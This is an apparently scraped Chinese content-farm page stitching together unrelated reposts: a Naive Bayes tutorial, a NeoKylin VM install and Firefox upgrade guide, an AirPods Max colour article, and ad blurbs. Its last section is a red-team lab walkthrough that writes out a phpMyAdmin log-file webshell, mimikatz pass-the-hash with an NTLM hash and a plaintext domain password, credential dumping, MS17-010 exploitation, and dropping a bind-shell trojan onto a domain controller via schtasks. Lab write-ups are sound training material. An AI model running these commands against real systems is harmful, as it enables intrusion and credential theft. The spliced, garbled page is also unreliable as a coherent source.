  在我的理解里,該算法需要拋棄判別模型中的“映射”思路。就是說要理解素樸貝恭弘=叶 恭弘斯算法,需要先丟掉“給出一個什麼樣的輸入特徵向量x,模型可以得到什麼樣的輸出結果y”這個直接判別的映射想法。說樸素貝恭弘=叶 恭弘斯算法是生成模型,實際上就是在判斷新的輸入實例x具體類別時,要通過訓練數據集中(x,y1)、(x,y2)這種具體組合在數據集中出現的概率,結合條件概率再去判斷x的類別是y1,還是y2的哪種可能性大。在上邊的一堆公式中,可以看到貝恭弘=叶 恭弘斯公式(7)的得來,依賴於公式(3)中的事件A和事件B同時出現的聯合概率。換句話說,我們要判斷新的輸入實例x的類別,數據集中的類別分別為y1、y2,類別y有自己的分佈規律。例如服從P(y1)=0.8、P(y2)=0.2的二項分佈,簡單來說,我們看到是y1的概率這麼大,直接把x的類別判斷為y1就是了。但貝恭弘=叶 恭弘斯不是這麼做的,因為每個實例x是不一樣的(實例x可能的情況有自己的分佈)。我們是不是可以根據x在已經確定的情況下,再去判斷類別y的條件概率呢?這就意味着樣本空間的縮小,在有條件的情況下,再去判斷y的類別,肯定要比什麼都不知道的情況做判斷要準確。也就是我們要找到x,y各個單獨事件的組合事件(x,y1)、(x,y2)在數據集中的分佈,用來調整類別y的先驗概率,得到有條件下的后驗結果。

 GitHub:https://github.com/wangzycloud/statistical-learning-method

 樸素貝恭弘=叶 恭弘斯算法

引入

  前邊說了一大堆亂七八糟的東西,形式化來講,樸素貝恭弘=叶 恭弘斯算法是基於貝恭弘=叶 恭弘斯定理和特徵條件假設的分類方法。對於給定的訓練數據集,首先是利用特徵條件獨立假設,學習輸入輸出的聯合概率分佈。然後基於該模型,對給定的輸入實例x,利用貝恭弘=叶 恭弘斯定理求出后驗概率最大的輸出類別y。本節有不少耐看的公式,第一次耐心看懂,之後就沒這麼晦澀了,接下來按照書中的順序記錄一下,包括樸素貝恭弘=叶 恭弘斯法的基本方法、后驗概率最大化的含義、參數估計和樸素貝恭弘=叶 恭弘斯算法。

基本方法

  首先是模型輸入、輸出情況的說明,輸入數據用n維特徵向量表示,這裏注意一下訓練數據集T,數據集T內的數據是由是由事件x,y同時發生的聯合概率分佈產生。

  實際上,學習到了聯合概率分佈P(X,Y),也就是學習到了生成一個數據(xn+1,yn+1)的方式,這就要我們把輸入實例xn+1和相應輸出類別yn+1當成一個整體來對待。接下來看一下條件概率分佈,我們知道輸入特徵向量不是一個單獨的數值,而是一系列特徵分量構成的向量,並且每個分量有不同的取值範圍,公式(4.2)反映了這一事實,這就影響到我們對聯合概率的求解。每個分量有不同的取值,不同取值的x與類別y構成同時發生的聯合事件,各個分量的排列組合結果是一個非常大的数字,直接根據樣本出現的頻率來估計參數是一個非常困難的事情。假如樣本的n個屬性都是二值的,則樣本空間將有2的n次方種可能的取值,在現實中,這個種類數往往大於訓練樣本,一些可能的取值在訓練集中並不會出現。

  這裏我們看一下條件獨立性假設,實際上就是說,我們強行認為特徵向量x的各個分量之間是獨立的,相互之間不能有影響,就算有影響,我們也不考慮進來。也就是假設每個分量屬性獨立的對分類結果產生影響,這是一個很強的假設,通過這個假設,參數求解變得可行,這也是樸素貝恭弘=叶 恭弘斯“樸素”的由來。其中,需要估計的參數數量大大減少:

  由此,我們可以將各個分量看作生成數據的不同階段,應用乘法公式得到公式(4.3),也就是各獨立變量的聯合分佈=各獨立變量先驗概率的乘積。文中提到的條件獨立性這一假設,使得樸素貝恭弘=叶 恭弘斯法變得簡單,但會犧牲一定的分類準確性。

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

  在有了聯合概率、條件概率、獨立性假設的前提下,在應用公式(4.4)-公式(4.6)后,可以得到最終的樸素貝恭弘=叶 恭弘斯分類器,即公式(4.7)。

后驗概率最大化

  該部分從期望風險最小化的角度,闡述樸素貝恭弘=叶 恭弘斯的原理,也就是為什麼輸出y的分類要取后驗概率最大的類。這裏存疑,開學后搞起~已找到合適資料,到實驗室整理出來就好了。

樸素貝恭弘=叶 恭弘斯法的參數估計

  先驗概率P(Y)表示了樣本空間中事件Y各個類別所佔的比例,根據大數定律,當訓練集包含足夠多的樣本時,P(Y)可以通過各事件出現的頻率來估計。

  對於各獨立變量的條件概率參數,也是通過極大似然估計得出。

貝恭弘=叶 恭弘斯算法

  算法流程圖:

貝恭弘=叶 恭弘斯估計

  通過極大似然估計法,我們計算出了該數據集內輸入特徵x各個屬性獨立性假設下的條件概率。而如果待預測實例的某個屬性值沒有在訓練集中出現過,根據公式(4.9)計算條件概率就會出現概率值為0的情況。無論該實例的屬性如何,根據連乘公式,最終的類別概率都為0,無法做出判斷。針對這種情況怎麼避免呢?對分母分子進行修正,這就是貝恭弘=叶 恭弘斯估計(實際上就是分子分母同時加上一個常數,避免0的情況)。

理解貝恭弘=叶 恭弘斯的一個小例子

  醫院里出現了一例尚未確診的肺炎患者(疑似狀態),猜測他被感染的原因可能是:

  (1)   華南海鮮市場吃過海鮮

  (2)   去武漢旅行剛回來

  (3)   同其它患者密切接觸過

  根據其它人的確診結果,我們知道如果去海鮮市場吃過海鮮,有70%幾率會確診;去武漢旅行的人有60%的幾率確診;同其它患者密切接觸過的話,有50%的幾率確診。現在他昏迷了,根據他體溫及肺部CT病症嚴重程度,猜測這三種原因的可能性概率分別為50%、30%、20%。那麼,如果現在核酸試劑結果為陽性,被確診了。在已知確診的條件下,考慮是哪種原因造成了感染?

  由全概率公式,我們可以得到確診、疑似的概率分別是:

  由貝恭弘=叶 恭弘斯公式,在確診的條件下,三種可能性的大小被調整為:

  在已經確診的條件下,比較三者的后驗概率,可以得到該患者因吃海鮮被感染的可能性最大。執果索因,簡單講就是將結果考慮到發生原因的評估上,對前期評估進行調整。

代碼效果

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

虛擬機安裝中標麒麟桌面版7.0系統 + 升級Firefox瀏覽器_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

背景

由於公司業務(政府項目)需要走國產化路線,需要把原來已有的產品在國產的系統進行測試。目前選擇的是中標麒麟系統,這是一款國產系統,界面 UI 和 window 類似,系統內核使用的是 Linux 的,說白了就是 window + linux 的結合體。

在虛擬機中安裝中標麒麟系統

準備工作

  • 虛擬機軟件:VMware12

  • 系統鏡像:中標麒麟系統7.0

  • Firefox瀏覽器:Linux版本Firefox52

  • 軟件下載導向:VMware12 提取碼:5ijj、 中標麒麟桌面版7.0 提取碼:e6fp 、Linux版本Firefox52

虛擬機安裝

這裏虛擬機安裝沒什麼好講的了,拿到安裝包,一直下一步就可以了,上面已經提供了虛擬機的下載鏈接。

安裝教程可以參考:https://blog.csdn.net/lx940112/article/details/80159509

中標麒麟系統安裝

先從上面提供的鏈接下載對應的鏡像文件,然後在本機把虛擬機軟件安裝好。

  • 打開虛擬機軟件,點擊【創建新的虛擬機】
  • 進入新建嚮導,選擇對應的選項,一直下一步即可,如下圖:

  • 進入虛擬機后安裝麒麟系統,如下圖:

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

  • 軟件安裝完成之後,退出然後重啟系統,進入用戶時間的設置,如下圖:

到此,在虛擬機中安裝中標麒麟系統就完成了。

系統自帶Firefox-45升級到Firefox-52

Linux桌面版系統自帶的瀏覽器一般都是Firefox 因為業務的需求,要用Firefox52以上的版本,目前系統自帶的版本不滿足需求,需要升級。

  • 1、下載好最新版本火狐瀏覽器安裝包,上面有下載鏈接,上傳到麒麟系統,路徑自己選。

  • 2.在目錄解壓 Firefox-52.0.tar.bz2。

tar -xjvf  Firefox-52.0.tar.bz2

解壓後會生成一個 firefox 的文件夾,裏面有最新版本的 firefox 的二進制可執行文件,以及各種擴展模塊,插件等等。

  • 3.刪除系統默認自帶的舊版 firefox ,在 /usr/lib64 目錄下。
rm -rf /usr/lib64/firefox
  • 4.將你下載的新版解壓后的 firefox 文件夾複製到 /usr/lib64 目錄下。
mv /usr/firefox /usr/lib64
  • 5.刪除或備份移除原始 /usr/bin 目錄下的 Firefox 文件(這裏進行備份)

    mv /usr/bin/firefox /usr/bin/firefox.bak
    
  • 6.將安裝的新Firefox快捷方式放到 /usr/bin

ln -s /usr/firefox/firefox /usr/bin
  • 7.點擊原來的Firefox圖標打開瀏覽器

升級前:

升級后:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

AirPods Max 各種顏色耳罩搭配看起來如何?試試這網站,自由搭配出個人專屬配色耳機_包裝設計

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

日前 Apple 的首款頭戴式主動降噪藍牙耳機 AirPods Max 無預警突然在 Apple 台灣官網開放訂購,當時最早一批訂購的消費者可在 2 月初收到產品,如果有另外使用官網的免費鐫刻服務添加文字、表情符號或數字的消費者則需要再多等幾天。即便對不少人而言這組耳機的售價可能有些難以負擔,但對於 Apple 的忠實顧客或其他有需求的族群,仍然是款不錯的耳機。

AirPods Max 各種顏色耳罩搭配看起來如何?試試這網站,自由搭配出個人專屬配色耳機

在 Apple 台灣官網比外界預期還早開放 AirPods Max 訂購,雖然開賣時間早卻也讓許多原本已有計劃入手 AirPods Max 的消費者有些措手不及,因為這次光是耳機就有銀色、太空灰色、綠色、天藍色以及粉紅色共五種顏色選擇,消費者還能依照個人的需求添購其他顏色的耳罩,搭配出更多種不同的專屬風格。

倘若各位在 AirPods 顏色挑選上猶豫不決,不知道每種耳機和耳罩顏色在實際搭配看起來如何,現在就有個 AirPods Max 耳罩搭配的模擬網站(點我前往),讓使用者可以直接選擇各種顏色的 AirPods 耳機、左耳耳罩襯墊、右耳耳罩襯墊,同時也能計算出需要付出的費用,可說是相當貼心呀!當然,如果本來也沒有要買,只是想玩玩體驗一下顏色搭配的樂趣,也是能試試看(點我前往)。
假如只是一般選購一組耳機和耳罩襯墊都同色的 AirPods Max ,建議售價為 549 美元(台灣建議售價為 18,490 元新台幣):

如果只添購一組不同色的 AirPods Max 耳罩襯墊, AirPods Max 耳機本體加上 AirPods 耳罩襯墊的建議售價為 618 美元(台灣建議售價為 20,780 元):

當然,選購一組不同色的 AirPods Max 耳罩襯墊,原本耳機標配的同色耳罩襯墊也是能拿來搭配一下:

如果 AirPods Max 耳機、左耳耳罩襯墊與右耳耳罩襯墊都要不同的顏色,則總共需要購買兩組 AirPods Max 耳罩襯墊,那麼售價總共需要 687 美元(台灣建議售價為 23,070 元):

以下也整理幾種配色也不錯的搭配方式,可以提供給之後想另外加購耳罩襯墊的 AirPods Max 的消費者參考:

像是銀色是許多果粉心中最能代表 Apple 的產品配色,不過實際使用上擔心銀色的耳罩襯墊容易髒,搭配黑色耳罩襯墊就是低調又不會太難與服裝搭配:

今年 iPhone 12 系列、 iPad Air 4 或 Apple Watch SE 都推出藍色的配色,銀色的 AirPods Max 搭配藍色耳罩襯墊也相當好看:

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

如果想左右耳都用不同顏色,粉紅色和藍色也相當搶眼:

綠色的 AirPods Max 則推薦能選擇黑色或銀色的耳罩襯墊進行搭配:

雖然 AirPods Max 耳機已經突然在 Apple 台灣官網開放訂購,不過目前 AirPods Max 其他耳罩襯墊至截稿前還沒有辦法購買的。因此,如果未來想另外添購其他顏色耳罩進行搭配,還是先多試試看這次分享的 AirPods Max 配色模擬網評估一番囉!畢竟光是訂購一組 AirPods Max 和添購一款其他配色耳罩襯墊備用,就已經要花費超過兩萬元不算太便宜的開銷。

AirPods Max 商品頁面:點我前往訂購(Apple 台灣官網)
*Apple 官網訂購享最高 12 期 0% 利率分期付款
AirPods 耳罩襯墊:點我前往(Apple 台灣官網)

假如想買 AirPods Max ,卻仍遲遲無法決定要訂購哪款配色的 AirPods Max ,亦不確定之後會不會加購其他顏色的耳罩襯墊,那麼像是太空灰色或銀色的 AirPods Max 都是顏色上比較耐看的,最早一批訂購的台灣消費者預計能在 2021 年 2 月 4 日收到。

延伸閱讀:
Apple M1 版 MacBook Pro、MacBook Air、Mac mini 通過 NCC 認證

iPhone 12 Pro Max 對決三星 Galaxy Note20 Ultra 電池續航測試:兩陣營大尺寸旗艦擔當,究竟誰輸誰贏?

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

ATT&CK紅隊評估實戰靶場(一)_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻擊拓撲如下

0x01環境搭建
配置兩卡,僅主機模式192.168.52.0網段模擬內網,192.168.72.0網段模擬外網
Kali linux IP 192.168.72.131
win7 IP 192.168.72.130/192.168.52.143
win2003 IP 192.168.72.141
DC 2008 IP 192.168.52.138

0X02信息收集
用nmap找到外網IP地址
netdiscover -i eth0 -r 192.168.72.0/24

御劍掃目錄掃到後台
掃到目錄http://192.168.72.130/phpmyadmin/
弱口令root /root進入後台

0x03phpmyadmin後台getshell
show variables like ‘%general%’; #查看日誌狀態

SET GLOBAL general_log=’on’

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ 設置路徑

SELECT ‘ ‘ //寫入一句話木馬

getshell
http://192.168.72.130/233.php

0x04權限提升
直接用Cs的腳本ms14-068提權

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

0x05內網信息收集
把webshell轉換成cs上線

ipconfig /all

hashdump看一下密碼

再用mimikatz抓一下明文密碼,抓到hongrisec@2020

shell net user /domain
查看域內用戶
使用lodan掃描內網網絡

使用lazagone.exe 抓取本機所有密碼

抓到了很多win7機器上的密碼

用Msf的這個模塊可以判斷目標機器上面裝了那些軟件
run post/windows/gather/enum_applications 使用這個之後發現win7(雙網卡機器)上有一個現成的nmap
直接用beacon下的nmap去掃描DC的漏洞 shell nmap –script=vuln 192.168.52.138 發現域控存在ms17-010

這裏其實已經可以直接去用Msf打域控的17010了

0x06MSF與CS聯動
新啟一個監聽,用foriereverse_tcp,然後msf開始監聽端口,成功轉接cs的shell

查看當前網段並添加路由

0x07配置msf代理

之前掃描的是DC,先看一下2003有沒有漏洞,掃一下141,其實不掛代理也行,win7裏面有一個Nmap,這裏要注意socks代理不支持icmp協議
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 –script=smb-vuln-ms17-010.nse 192.168.52.141

0x08兩種拿下2003
因為已經知道了漏洞,直接永恆之藍打過去了

PTH方法
選擇之前生成的那個smb beacon 然後在用哈希傳遞的方法,域內管理員的賬號直接登錄

192.168.52.141成功上線

0x09票據+計劃任務拿DC
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

shell dir \192.168.52.138\c$ //dir DC的目錄

生成一個exe馬
這裏用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的馬 yukong.exe
把馬複製到域控機器上shell copy C:\yukong.exe \192.168.52.138\c$
然後再用這個寫入計劃任務的方法去連接,這裏馬反彈會連不成功,所以
shell schtasks /create /tn “test” /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p “hongrisec@2020”
掛着win7代理 proxy nc -vv 192.168.52.138 7777 即可彈回DC138的shell
用Meterpreter的馬也可以,之前失敗了,後續還是改成meterpreter的馬,或者把普通shell再升級成meterpreter再導入cs也可以
馬上線之後清除計劃任務schtasks /delete /s 192.168.52.138 /tn “test” /f

本靶場有很多地方都可以打成功,可以自己嘗試一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。